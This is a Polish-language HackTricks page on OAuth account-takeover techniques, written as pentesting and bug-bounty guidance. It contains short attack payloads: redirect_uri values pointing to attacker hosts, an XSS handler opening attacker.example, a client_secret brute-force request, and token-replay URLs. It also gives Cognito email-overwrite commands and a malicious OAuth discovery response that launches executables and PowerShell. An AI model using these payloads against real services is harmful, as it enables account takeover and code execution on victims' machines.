OAuth to Account takeover

Tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).

Wsparcie HackTricks

Basic Information

OAuth oferuje różne wersje, z podstawowymi informacjami dostępnymi pod OAuth 2.0 documentation. Niniejsza dyskusja koncentruje się głównie na powszechnie stosowanym OAuth 2.0 authorization code grant type, dostarczając ramy autoryzacji, które pozwalają aplikacji uzyskać dostęp do konta użytkownika w innej aplikacji lub wykonywać na nim operacje (serwer autoryzacji).

Rozważ hipotetyczną stronę https://example.com, zaprojektowaną do prezentowania wszystkich Twoich postów z portali społecznościowych, łącznie z prywatnymi. Do tego celu użyto OAuth 2.0. https://example.com poprosi o Twoją zgodę na dostęp do Twoich postów z portali społecznościowych. W rezultacie na https://socialmedia.com pojawi się ekran zgody, przedstawiający żądane uprawnienia oraz dewelopera, który wysyła żądanie. Po udzieleniu zgody https://example.com uzyska możliwość dostępu do Twoich postów w Twoim imieniu.

It’s essential to grasp the following components within the OAuth 2.0 framework:

  • resource owner: Ty, jako użytkownik/podmiot, udzielasz zgody na dostęp do swojego zasobu, np. postów na koncie w serwisie społecznościowym.
  • resource server: Serwer obsługujący uwierzytelnione żądania po tym, jak aplikacja uzyska access token w imieniu resource owner, np. https://socialmedia.com.
  • client application: Aplikacja ubiegająca się o autoryzację od resource owner, na przykład https://example.com.
  • authorization server: Serwer wydający access tokens klientowi (client application) po pomyślnej autoryzacji i uwierzytelnieniu resource owner, np. https://socialmedia.com.
  • client_id: Publiczny, unikalny identyfikator aplikacji.
  • client_secret: Poufny klucz, znany wyłącznie aplikacji i serwerowi autoryzacji, używany do generowania access_tokens.
  • response_type: Wartość określająca typ żądanego tokenu, np. code.
  • scope: Poziom dostępu, o który client application prosi resource owner.
  • redirect_uri: URL, na który użytkownik zostaje przekierowany po autoryzacji. Zazwyczaj musi być zgodny z wcześniej zarejestrowanym redirect URL.
  • state: Parametr służący do przechowywania danych podczas przekierowań użytkownika do i z serwera autoryzacji. Jego unikalność jest kluczowa jako mechanizm ochrony przed CSRF.
  • grant_type: Parametr określający typ przyznania (grant) i typ zwracanego tokenu.
  • code: Kod autoryzacyjny od authorization server, używany wraz z client_id i client_secret przez client application do uzyskania access_token.
  • access_token: Token, którego client application używa do żądań API w imieniu resource owner.
  • refresh_token: Umożliwia aplikacji uzyskanie nowego access_token bez ponownego proszenia użytkownika o zgodę.

Flow

The actual OAuth flow proceeds as follows:

  1. Przechodzisz na https://example.com i wybierasz przycisk „Integrate with Social Media”.
  2. Serwis wysyła żądanie do https://socialmedia.com, prosząc o Twoją autoryzację, aby aplikacja serwisu https://example.com mogła uzyskać dostęp do Twoich postów. Żądanie ma strukturę:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
  1. Następnie wyświetlana jest strona zgody.
  2. Po Twojej akceptacji Social Media wysyła odpowiedź do redirect_uri z parametrami code i state:
https://example.com?code=uniqueCode123&state=randomString123
  1. https://example.com wykorzystuje ten code, wraz ze swoim client_id i client_secret, aby wykonać po stronie serwera żądanie o uzyskanie access_token w Twoim imieniu, umożliwiając dostęp do uprawnień, na które wyraziłeś zgodę:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
  1. W końcu proces kończy się, gdy https://example.com używa twojego access_token, aby wykonać wywołanie API do Social Media, aby uzyskać dostęp do

Luki

Open redirect_uri

Per RFC 6749 §3.1.2, serwer autoryzacji musi przekierowywać przeglądarkę wyłącznie do pre-registered, exact redirect URIs. Każda słabość tutaj pozwala atakującemu skierować ofiarę przez złośliwy URL autoryzacyjny tak, że IdP dostarcza code (i state) ofiary bezpośrednio do endpointu atakującego, który może go następnie zrealizować i pozyskać tokeny.

Typowy przebieg ataku:

  1. Przygotuj https://idp.example/auth?...&redirect_uri=https://attacker.tld/callback i wyślij go ofierze.
  2. Ofiara się uwierzytelnia i zatwierdza scopes.
  3. IdP przekierowuje do attacker.tld/callback?code=<victim-code>&state=..., gdzie atakujący loguje żądanie i natychmiast wymienia code.

Typowe błędy walidacji do sprawdzenia:

  • No validation – akceptowany jest dowolny absolutny URL, co skutkuje natychmiastową kradzieżą kodu.
  • Weak substring/regex checks on the host – obejście za pomocą lookalike’ów, takich jak evilmatch.com, match.com.evil.com, match.com.mx, matchAmatch.com, evil.com#match.com, lub match.com@evil.com.
  • IDN homograph mismatches – walidacja zachodzi na formie punycode (xn--), ale przeglądarka przekierowuje do domeny w Unicode kontrolowanej przez atakującego.
  • Arbitrary paths on an allowed host – skierowanie redirect_uri do /openredirect?next=https://attacker.tld lub dowolnego endpointu XSS/user-content leaks the code poprzez łańcuchy przekierowań, nagłówki Referer lub wstrzyknięty JavaScript.
  • Directory constraints without normalization – wzorce typu /oauth/* można pominąć przez /oauth/../anything.
  • Wildcard subdomains – akceptowanie *.example.com oznacza, że każde przejęcie (dangling DNS, S3 bucket, itp.) od razu daje ważny callback.
  • Non-HTTPS callbacks – przepuszczenie URI http:// daje sieciowym atakującym (Wi‑Fi, proxy korporacyjne) możliwość przechwycenia kodu w tranzycie.

Sprawdź także pomocnicze parametry w stylu redirect (client_uri, policy_uri, tos_uri, initiate_login_uri, itd.) oraz dokument odkrywania OpenID (/.well-known/openid-configuration) pod kątem dodatkowych endpointów, które mogą odziedziczyć te same błędy walidacji.

Redirect token leakage on allowlisted domains with attacker-controlled subpaths

Zablokowanie redirect_uri do „własnych/domen first-party” nie pomaga, jeśli którakolwiek z dozwolonych domen ujawnia ścieżki kontrolowane przez atakującego lub konteksty wykonania (legacy app platforms, user namespaces, CMS uploads, itp.). Jeśli flow OAuth/federated login returns tokens in the URL (query lub hash), atakujący może:

  1. Rozpocząć legalny flow, aby wygenerować pre-token (np. etoken w wieloetapowym Accounts Center/FXAuth flow).
  2. Wysłać ofierze URL autoryzacyjny, który ustawia dozwoloną domenę jako redirect_uri/base_uri, ale kieruje next/ścieżkę do namespace’u kontrolowanego przez atakującego (np. https://apps.facebook.com/<attacker_app>).
  3. Po zatwierdzeniu ofiary IdP przekierowuje do ścieżki kontrolowanej przez atakującego z wrażliwymi wartościami w URL (token, blob, codes, itd.).
  4. JavaScript na tej stronie odczytuje window.location i exfiltrates the values pomimo że domena jest „trusted.”
  5. Odtworzyć przechwycone wartości przeciwko downstream privileged endpoints, które oczekują tokenów przekazywanych przez redirect. Przykłady z FXAuth flow:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>

# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>

XSS w implementacji redirect

Jak wspomniano w tym raporcie bug bounty https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html może być możliwe, że redirect URL jest odzwierciedlany w odpowiedzi serwera po uwierzytelnieniu użytkownika, będąc podatnym na XSS. Możliwy payload do przetestowania:

https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>

OAuth callback error pages: reflected error_description, trusted-origin phishing, and encoded state leakage

Niektóre integracje OAuth używają first-party callback page do renderowania błędów logowania po tym, jak IdP przekieruje przeglądarkę z powrotem. Te strony mają dużą wartość, ponieważ już działają na trusted origin i często pobierają parametry kontrolowane przez atakującego, takie jak error, error_description, message, description lub state.

  • Reflecting error_description into HTML bez ścisłego output encoding zamienia callback w trusted-origin phishing page. Nawet gdy <script> jest filtrowany, wstrzyknięcie HTML może nadal sfałszować całą stronę błędu i nakłonić ofiarę do wykonania działań wybranych przez atakującego.
  • WAFs często wykrywają popularne handlery takie jak onload/onerror. Gdy normalne payloady są blokowane, spróbuj specyficznych dla przeglądarki lub rzadkich eventów, których obrońcy mogą nie zablokować. Praktycznym przykładem jest onpagereveal w Safari, które może się wykonać, gdy złośliwa strona callback jest pokazana w Safari:
<body onpagereveal=open("https://attacker.example")>
This step can only be completed in Safari
  • Test self-referential payloads: jeśli wstrzyknięte HTML/JS może ponownie otworzyć lub przeładować ten sam callback URL, może to spowodować client-side resource exhaustion, powtarzające się popupy/taby lub log flooding przy każdym renderze.
  • Always decode opaque-looking state values`. Wiele implementacji Base64-encoduje JSON lub metadata użytkownika i zakłada, że to jest „ukryte”. Base64 jest odwracalny, więc callback URL może leakować PII takie jak adresy email, identyfikatory tenantów, ścieżki powrotu lub wewnętrzny stan workflow.
  • Treat URL exposure as part of the bug: wszystko, co umieścisz w callback URL, może później pojawić się w historii przeglądarki, reverse proxy, load balancerach, logach aplikacji, narzędziach monitoringu, zrzutach ekranu oraz nagłówkach Referer jeśli strona ładuje zasoby stron trzecich.

Szybkie kontrole podczas testów:

  1. Wywołaj zarówno success jak i failure OAuth callbacks i złap cały URL oraz renderowany HTML.
  2. Replayuj callback modyfikując error_description, message i podobne pola błędów zwykłym tekstem, HTML i payloadami event-handler.
  3. Dekoduj state jako Base64/URL-safe Base64 i sprawdź czy nie zawiera PII lub stanu aplikacji, który powinien pozostać po stronie serwera.
  4. Powtórz payloady specyficzne dla przeglądarki w Safari/WebKit gdy WAF blokuje standardowe inline-event XSS probes.

CSRF - Improper handling of state parameter

Parametr state jest CSRF tokenem flow Authorization Code: klient musi wygenerować kryptograficznie losową wartość dla każdej instancji przeglądarki, przechować ją w miejscu czytelnym tylko dla tej przeglądarki (cookie, local storage, itp.), wysłać ją w żądaniu autoryzacji i odrzucić każdą odpowiedź, która nie zwraca tej samej wartości. Gdy wartość jest statyczna, przewidywalna, opcjonalna lub nie powiązana z sesją użytkownika, atakujący może dokończyć własny flow OAuth, przechwycić końcowe żądanie ?code= (bez wysyłania go), a później zmusić przeglądarkę ofiary do replayowania tego żądania, tak że konto ofiary zostanie powiązane z profilem IdP atakującego.

Wzorzec replayu jest zawsze ten sam:

  1. Atakujący uwierzytelnia się przeciwko IdP swoim kontem i przechwytuje ostatni redirect zawierający code (i ewentualnie state).
  2. Odrzuca to żądanie, zachowuje URL i później wykorzystuje dowolny CSRF primitive (link, iframe, auto-submitting form), by zmusić przeglądarkę ofiary do jego załadowania.
  3. Jeśli klient nie egzekwuje state, aplikacja konsumuje rezultat autoryzacji atakującego i loguje atakującego do konta ofiary.

Praktyczna lista kontrolna dla obsługi state podczas testów:

  • Missing state entirely – jeśli parametr nigdy się nie pojawia, cały login jest podatny na CSRF.
  • state not required – usuń go z początkowego żądania; jeśli IdP nadal wydaje kody, które klient akceptuje, obrona jest opt-in.
  • Returned state not validated – manipuluj wartością w odpowiedzi (Burp, MITM proxy). Akceptowanie niezgodnych wartości znaczy, że przechowywany token nigdy nie jest porównywany.
  • Predictable or purely data-driven state – wiele aplikacji wkłada ścieżki redirect lub blob’y JSON do state bez dodania entropii, co pozwala atakującym zgadnąć ważne wartości i replayować flow. Zawsze dołącz silną entropię przed zakodowaniem danych.
  • state fixation – jeśli aplikacja pozwala użytkownikom dostarczyć wartość state (np. przez crafted authorization URLs) i ponownie jej używa w całym flow, atakujący może zablokować znaną wartość i używać jej wobec wielu ofiar.

PKCE może uzupełnić state (szczególnie dla public clients) poprzez powiązanie authorization code z code verifier, ale web clients nadal muszą śledzić state, by zapobiegać CSRF/cross-user/account-linking bugom.

Pre Account Takeover

  1. Without Email Verification on Account Creation: Atakujący mogą uprzednio utworzyć konto używając email ofiary. Jeśli ofiara później użyje third-party service do logowania, aplikacja może nieumyślnie powiązać konto third-party z wcześniej utworzonym kontem atakującego, prowadząc do nieautoryzowanego dostępu.
  2. Exploiting Lax OAuth Email Verification: Atakujący mogą wykorzystać OAuth serwisy, które nie weryfikują emaili, rejestrując konto i następnie zmieniając email konta na email ofiary. Ta metoda podobnie grozi nieautoryzowanym dostępem, analogicznie do pierwszego scenariusza, ale przez inny wektor ataku.

Disclosure of Secrets

client_id jest celowo publiczny, ale client_secret nigdy nie może być odzyskany przez end users. Authorization Code deployments, które osadzają secret w mobile APKs, desktop clients, or single-page apps de facto przekazują to poświadczenie każdemu, kto może pobrać paczkę. Zawsze sprawdzaj public clients poprzez:

  • Rozpakowanie APK/IPA, instalera desktopowego lub Electron app i grepowanie w poszukiwaniu client_secret, Base64 blobów dekodujących się do JSON lub hard-coded stringów OAuth endpoints.
  • Przegląd zbundlowanych plików konfiguracyjnych (plist, JSON, XML) lub zdekompilowanych stringów w poszukiwaniu credentials klienta.

Gdy atakujący wydobędzie secret, musi tylko ukraść dowolny authorization code ofiary (przez słaby redirect_uri, logi, itp.), żeby niezależnie uderzyć /token i wygenerować access/refresh tokens bez udziału legitnego app. Traktuj public/native clients jako niezdolne do przechowywania sekretów — powinny zamiast tego polegać na PKCE (RFC 7636), by udowodnić posiadanie per-instance code verifier zamiast statycznego secret. Podczas testów potwierdź, czy PKCE jest mandatory i czy backend faktycznie odrzuca token exchanges, które pomijają albo client_secret albo ważny code_verifier.

Client Secret Bruteforce

Możesz spróbować bruteforce the client_secret dostawcy usługi z identity provider, by próbować przejąć konta.
Żądanie do BF może wyglądać podobnie do:

POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close

code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]

Referer/Header/Location artifacts leaking Code + State

Gdy klient posiada code and state, jeśli ujawnią się one w location.href lub document.referrer i zostaną przekazane stronom trzecim, powoduje to leak. Dwa powtarzające się wzorce:

  • Classic Referer leak: po przekierowaniu OAuth każda nawigacja, która zachowuje ?code=&state= w URL, umieści je w nagłówku Referer wysyłanym do CDN/analytics/ads.
  • Telemetry/analytics confused deputy: niektóre SDK (pixels/JS loggers) reagują na zdarzenia postMessage i następnie wysyłają bieżące location.href/referrer do backendowych API używając tokena dostarczonego w wiadomości. Jeśli możesz wstrzyknąć własny token w ten przepływ (np. przez kontrolowany przez atakującego postMessage relay), później możesz odczytać historię/logi żądań API SDK i odzyskać ofiary artefakty OAuth osadzone w tych żądaniach.

Access Token Stored in Browser History

Główną gwarancją Authorization Code grant jest to, że access tokens never reach the resource owner’s browser. Kiedy implementacje leak tokens po stronie klienta, nawet drobny błąd (XSS, Referer leak, proxy logging) prowadzi do natychmiastowego przejęcia konta. Zawsze sprawdź:

  • Tokens in URLs – jeśli access_token pojawi się w query/fragmencie, trafi do historii przeglądarki, logów serwera, analytics i nagłówków Referer wysyłanych do stron trzecich.
  • Tokens transiting untrusted middleboxes – zwracanie tokenów przez HTTP lub przez debugujące/korporacyjne proxy pozwala obserwatorom sieci przechwycić je bezpośrednio.
  • Tokens stored in JavaScript state – React/Vue stores, globalne zmienne lub serializowane bloby JSON wystawiają tokeny dla każdego skryptu na originie (w tym XSS payloadów lub złośliwych rozszerzeń).
  • Tokens persisted in Web StoragelocalStorage/sessionStorage przechowują tokeny długo po wylogowaniu na współdzielonych urządzeniach i są dostępne dla skryptów.

Każde z tych odkryć zazwyczaj podnosi znaczenie inaczej „niskich” błędów (jak CSP bypass czy DOM XSS) do pełnego takeover API, ponieważ atakujący może po prostu odczytać i odtworzyć wycieknięty bearer token.

Everlasting Authorization Code

Authorization codes muszą być short-lived, single-use, and replay-aware. Przy ocenie flow złap code i:

  • Test the lifetime – RFC 6749 rekomenduje minuty, nie godziny. Spróbuj zrealizować code po 5–10 minutach; jeśli nadal działa, okno ekspozycji dla każdego leaked code jest nadmierne.
  • Test sequential reuse – wyślij ten sam code dwa razy. Jeśli drugie żądanie zwróci kolejny token, atakujący mogą klonować sesje w nieskończoność.
  • Test concurrent redemption/race conditions – odpal dwa żądania token równolegle (Burp intruder, turbo intruder). Słabi issuersi czasem przyznają oba.
  • Observe replay handling – próba ponownego użycia powinna nie tylko nie powieść się, ale też unieważnić wszelkie tokeny już wybite z tego code. W przeciwnym razie wykryty replay pozostawia aktywny pierwszy token atakującego.

Połączenie replay-friendly code z dowolnym redirect_uri lub bugiem logowania pozwala na utrwalony dostęp do konta nawet po tym, jak ofiara dokończy prawidłowe logowanie.

Authorization/Refresh Token not bound to client

Jeśli możesz zdobyć authorization code i redeem it for a different client/app, możesz przejąć inne konta. Testuj słabe wiązanie poprzez:

  • Złapanie code dla app A i wysłanie go do token endpoint app B; jeśli nadal otrzymasz token, audience binding jest złamane.
  • Próby użycia first-party token minting endpoints, które powinny być ograniczone do własnych client ID; jeśli akceptują arbitralne state/app_id przy jedynie walidacji code, faktycznie wykonujesz authorization-code swap, aby wybić uprzywilejowane first-party tokeny.
  • Sprawdzenie, czy client binding ignoruje nonce/redirect URI mismatches. Jeśli strona błędu nadal ładuje SDK, które logują location.href, połącz z Referer/telemetry leaks, aby ukraść code i zrealizować je gdzie indziej.

Każdy endpoint, który wymienia code → token musi weryfikować issuing client, redirect URI oraz nonce; w przeciwnym razie skradziony code z dowolnej aplikacji można zeskalować do first-party access token.

Happy Paths, XSS, Iframes & Post Messages to leak code & state values

Check this post

AWS Cognito

W tym bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ widać, że token, który AWS Cognito zwraca użytkownikowi może mieć wystarczające uprawnienia do nadpisania danych użytkownika. W związku z tym, jeśli możesz change the user email for a different user email, możesz być w stanie take over kont innych użytkowników.

# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]

# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}

Aby uzyskać bardziej szczegółowe informacje o tym, jak nadużyć AWS Cognito, sprawdź AWS Cognito - Unauthenticated Enum Access.

Abusing other Apps tokens

Jak wspomniano w tym writeupie, przepływy OAuth, które oczekują otrzymania token (a nie kodu) mogą być podatne, jeśli nie sprawdzają, że token należy do aplikacji.

Dzieje się tak, ponieważ atakujący mógłby stworzyć aplikację wspierającą OAuth i logowanie za pomocą Facebook (na przykład) we własnej aplikacji. Następnie, gdy ofiara zaloguje się przez Facebook w aplikacji atakującego, atakujący mógłby uzyskać OAuth token użytkownika przyznany jego aplikacji i użyć go, aby zalogować się w aplikacji OAuth ofiary korzystając z tokenu użytkownika ofiary.

Caution

Dlatego, jeśli atakującemu uda się sprawić, że użytkownik uzyska dostęp do jego własnej aplikacji OAuth, będzie w stanie przejąć konto ofiary w aplikacjach, które oczekują token i nie sprawdzają, czy token został przyznany ich app ID.

Zgodnie z tym writeupem, możliwe było sprawienie, żeby ofiara otworzyła stronę z returnUrl wskazującym na host atakującego. Ta informacja byłaby zapisana w cookie (RU) i w kolejnym kroku prompt zapyta użytkownika, czy chce udzielić dostępu temu hostowi atakującego.

Aby ominąć ten prompt, możliwe było otwarcie zakładki aby zainicjować Oauth flow, która ustawiłaby to cookie RU używając returnUrl, zamknięcie zakładki zanim prompt zostanie pokazany i otwarcie nowej zakładki bez tej wartości. Wówczas prompt nie poinformuje o hoście atakującego, ale cookie będzie ustawione na niego, więc token zostanie wysłany do hosta atakującego w przekierowaniu.

Prompt Interaction Bypass

Jak wyjaśniono w tym wideo, niektóre implementacje OAuth pozwalają ustawić GET parameter prompt na None (&prompt=none) aby zapobiec wyświetlaniu użytkownikowi monitu o potwierdzenie przyznanego dostępu w webie, jeśli użytkownik jest już zalogowany na platformie.

response_mode

Jak wyjaśniono w tym wideo, możliwe jest podanie parametru response_mode aby określić, gdzie kod ma być dostarczony w finalnym URL:

  • response_mode=query -> Kod jest dostarczany w parametrze GET: ?code=2397rf3gu93f
  • response_mode=fragment -> Kod jest dostarczany w fragmencie URL: #code=2397rf3gu93f
  • response_mode=form_post -> Kod jest dostarczany w POST formie w polu input o nazwie code z wartością
  • response_mode=web_message -> Kod jest wysyłany w postMessage: window.opener.postMessage({"code": "asdasdasd...

OAuth consent/login dialogs są idealnymi celami dla clickjacking: jeśli można je osadzić w ramce, atakujący może nałożyć własne grafiki, ukryć prawdziwe przyciski i nakłonić użytkowników do zatwierdzenia niebezpiecznych scopes lub powiązania kont. Zbuduj PoC, które:

  1. Załadują IdP authorization URL wewnątrz <iframe sandbox="allow-forms allow-scripts allow-same-origin">.
  2. Użyją absolutnego pozycjonowania/trików z opacity, aby wyrównać fałszywe przyciski z ukrytymi kontrolkami Allow/Approve.
  3. Opcjonalnie wstępnie wypełnią parametry (scopes, redirect URI), tak aby skradzione zatwierdzenie natychmiast przynosiło korzyść atakującemu.

Podczas testowania zweryfikuj, że strony IdP wysyłają X-Frame-Options: DENY/SAMEORIGIN lub restrykcyjną Content-Security-Policy: frame-ancestors 'none'. Jeśli żadna z nich nie występuje, zademonstruj ryzyko narzędziami takimi jak NCC Group’s clickjacking PoC generator i nagraj, jak łatwo ofiara autoryzuje aplikację atakującego. Dla dodatkowych pomysłów na payload zobacz Clickjacking.

OAuth ROPC flow - 2 FA bypass

Zgodnie z tym wpisem na blogu, jest to OAuth flow, który pozwala na logowanie do OAuth za pomocą username i password. Jeśli w tym prostym przepływie zostanie zwrócony token z dostępem do wszystkich akcji, które użytkownik może wykonać, wtedy możliwe jest ominięcie 2FA przy użyciu tego tokenu.

ATO on web page redirecting based on open redirect to referrer

Ten blogpost opisuje, jak można było wykorzystać open redirect oparty na wartości referrer do nadużycia OAuth umożliwiającego ATO. Atak przebiegał następująco:

  1. Ofiara wchodzi na stronę atakującego.
  2. Ofiara otwiera złośliwy link i opener rozpoczyna Google OAuth flow z response_type=id_token,code&prompt=none jako dodatkowymi parametrami, używając jako referrer strony atakującego.
  3. W openerze, po tym jak provider autoryzuje ofiarę, odsyła ją z powrotem do wartości parametru redirect_uri (strona ofiary) z kodem 30X, który nadal utrzymuje stronę atakującego w refererze.
  4. Strona ofiary uruchamia open redirect bazując na referrerze, przekierowując użytkownika do strony atakującego; ponieważ respose_type było id_token,code, kod zostanie wysłany do atakującego w fragmencie URL, co pozwala mu przejąć konto użytkownika przez Google na stronie ofiary.

SSRFs parameters

Check this research For further details of this technique.

Dynamic Client Registration w OAuth działa jako mniej oczywisty, ale krytyczny wektor dla podatności bezpieczeństwa, szczególnie dla ataków typu SSRF. Ten endpoint pozwala serwerom OAuth otrzymywać szczegóły o aplikacjach klienckich, w tym wrażliwe URL-e, które mogą zostać wykorzystane.

Kluczowe punkty:

  • Dynamic Client Registration jest często mapowany do /register i przyjmuje szczegóły takie jak client_name, client_secret, redirect_uris oraz URL-e do logo lub JSON Web Key Sets (JWKs) za pomocą żądań POST.
  • Funkcja ta przestrzega specyfikacji zawartych w RFC7591 i OpenID Connect Registration 1.0, które zawierają parametry potencjalnie podatne na SSRF.
  • Proces rejestracji może niechcący narażać serwery na SSRF na kilka sposobów:
    • logo_uri: URL do logo klienta, który serwer może pobrać, wywołując SSRF lub prowadząc do XSS, jeśli URL jest niewłaściwie obsłużony.
    • jwks_uri: URL do dokumentu JWK klienta, który, jeśli jest złośliwie spreparowany, może spowodować, że serwer wykona wychodzące żądania do serwera kontrolowanego przez atakującego.
    • sector_identifier_uri: Odnosi się do tablicy JSON redirect_uris, którą serwer może pobrać, tworząc okazję do SSRF.
    • request_uris: Lista dozwolonych request URIs dla klienta, które mogą zostać wykorzystane, jeśli serwer pobiera te URI na początku procesu autoryzacji.

Strategia eksploatacji:

  • SSRF można wywołać, rejestrując nowego klienta z złośliwymi URL-ami w parametrach takich jak logo_uri, jwks_uri lub sector_identifier_uri.
  • Choć bezpośrednia eksploatacja za pomocą request_uris może być ograniczona przez mechanizmy whitelist, dostarczenie wcześniej zarejestrowanego, kontrolowanego przez atakującego request_uri może ułatwić SSRF podczas fazy autoryzacji.

OAuth/OIDC Discovery URL Abuse & OS Command Execution

Badania dotyczące CVE-2025-6514 (dotyczące klientów mcp-remote takich jak Claude Desktop, Cursor czy Windsurf) pokazują, jak dynamiczne discovery OAuth staje się prymitywem RCE za każdym razem, gdy klient przekazuje metadata IdP bezpośrednio do systemu operacyjnego. Zdalny serwer MCP zwraca authorization_endpoint kontrolowany przez atakującego podczas wymiany discovery (/.well-known/openid-configuration lub dowolne metadata RPC). mcp-remote ≤0.1.15 następnie wywoływał systemowy handler URL (start, open, xdg-open, itd.) z dowolnym otrzymanym ciągiem, więc każdy schemat/ścieżka obsługiwana przez OS była wykonywana lokalnie.

Przebieg ataku

  1. Wskaż agentowi desktopowemu wrogi serwer MCP/OAuth (npx mcp-remote https://evil). Agent otrzymuje 401 plus metadata.
  2. Serwer odpowiada JSON-em takim jak:
HTTP/1.1 200 OK
Content-Type: application/json

{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
  1. Klient uruchamia handler OS dla dostarczonego URI. Windows akceptuje payloads takie jak file:/c:/windows/system32/calc.exe /c"powershell -enc ..."; macOS/Linux akceptują file:///Applications/Calculator.app/... lub nawet niestandardowe schemy takie jak cmd://bash -lc '<payload>', jeśli są zarejestrowane.
  2. Ponieważ dzieje się to przed jakąkolwiek interakcją użytkownika, wystarczy skonfigurować klienta tak, by rozmawiał z serwerem atakującego, aby uzyskać wykonanie kodu.

Jak testować

  • Skieruj test na dowolny desktop/agent obsługujący OAuth, który wykonuje discovery przez HTTP(S) i otwiera zwrócone endpoints lokalnie (Electron apps, CLI helpers, thick clients).
  • Przechwyć lub hostuj odpowiedź discovery i zamień authorization_endpoint, device_authorization_endpoint, lub podobne pola na file://, cmd://, ścieżki UNC, lub inne niebezpieczne schemy.
  • Obserwuj, czy klient waliduje scheme/host. Brak walidacji skutkuje natychmiastowym wykonaniem w kontekście użytkownika i dowodzi istnienia luki.
  • Powtórz z różnymi schemami, aby zmapować pełną powierzchnię ataku (np. ms-excel:, data:text/html,, custom protocol handlers) i pokazać zasięg wieloplatformowy.

Race Conditions u dostawców OAuth

Jeśli platforma, którą testujesz, jest dostawcą OAuth read this to test for possible Race Conditions.

Mutable Claims Attack

W OAuth pole sub jednoznacznie identyfikuje użytkownika, ale jego format różni się w zależności od Authorization Server. Aby ujednolicić identyfikację użytkowników, niektórzy klienci używają emaili lub handle’y użytkowników. Jednakże jest to ryzykowne, ponieważ:

  • Niektóre Authorization Server nie zapewniają, że te właściwości (np. email) pozostają niezmienne.
  • W niektórych implementacjach — takich jak “Login with Microsoft” — klient polega na polu email, które jest user-controlled by the user in Entra ID i nie jest weryfikowane.
  • Atakujący może to wykorzystać, tworząc własną organizację Azure AD (np. doyensectestorg) i używając jej do wykonania Microsoft login.
  • Mimo że Object ID (przechowywane w sub) jest niezmienne i bezpieczne, poleganie na mutowalnym polu email może umożliwić account takeover (na przykład przejęcie konta takiego jak victim@gmail.com).

Client Confusion Attack

W Client Confusion Attack aplikacja używająca OAuth Implicit Flow nie weryfikuje, czy końcowy access token został wygenerowany konkretnie dla jej własnego Client ID. Atakujący tworzy publiczną stronę, która używa Google’s OAuth Implicit Flow, oszukując tysiące użytkowników, by się zalogowali, dzięki czemu zbiera access tokeny przeznaczone dla strony atakującego. Jeśli ci użytkownicy mają też konta na innej podatnej stronie, która nie weryfikuje Client ID tokena, atakujący może ponownie użyć zebranych tokenów, by podszyć się pod ofiary i przejąć ich konta.

Scope Upgrade Attack

Typ Authorization Code Grant angażuje bezpieczną komunikację server-to-server do przesyłania danych użytkownika. Jednak jeśli Authorization Server implicitnie ufa parametrze scope w Access Token Request (parametr nieokreślony w RFC), złośliwa aplikacja mogłaby zwiększyć uprawnienia authorization code, żądając wyższego scope. Po wygenerowaniu Access Token, Resource Server musi go zweryfikować: dla tokenów JWT oznacza to sprawdzenie podpisu JWT i wyodrębnienie danych takich jak client_id i scope, podczas gdy dla tokenów będących losowymi stringami serwer musi zapytać Authorization Server o szczegóły tokena.

Redirect Scheme Hijacking

W mobilnych implementacjach OAuth aplikacje używają custom URI schemes do odbierania redirectów z Authorization Codes. Jednak ponieważ wiele aplikacji może zarejestrować ten sam scheme na urządzeniu, założenie, że tylko legalny klient kontroluje redirect URI, zostaje złamane. Na Androidzie, na przykład, Intent URI takie jak com.example.app:// oauth jest przechwytywane na podstawie scheme i opcjonalnych filtrów zdefiniowanych w app’s intent-filter. Ponieważ Android’s intent resolution może być szeroki — szczególnie gdy określony jest tylko scheme — atakujący może zarejestrować złośliwą aplikację z odpowiednio dobranym intent filterem, by porwać authorization code. To może umożliwić account takeover albo poprzez interakcję użytkownika (gdy kilka aplikacji kwalifikuje się do obsługi intencji), albo poprzez techniki bypassu wykorzystujące nadmiernie specyficzne filtry, jak opisano w flowcharcie oceny Ostorlab.

Referencje

Tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).

Wsparcie HackTricks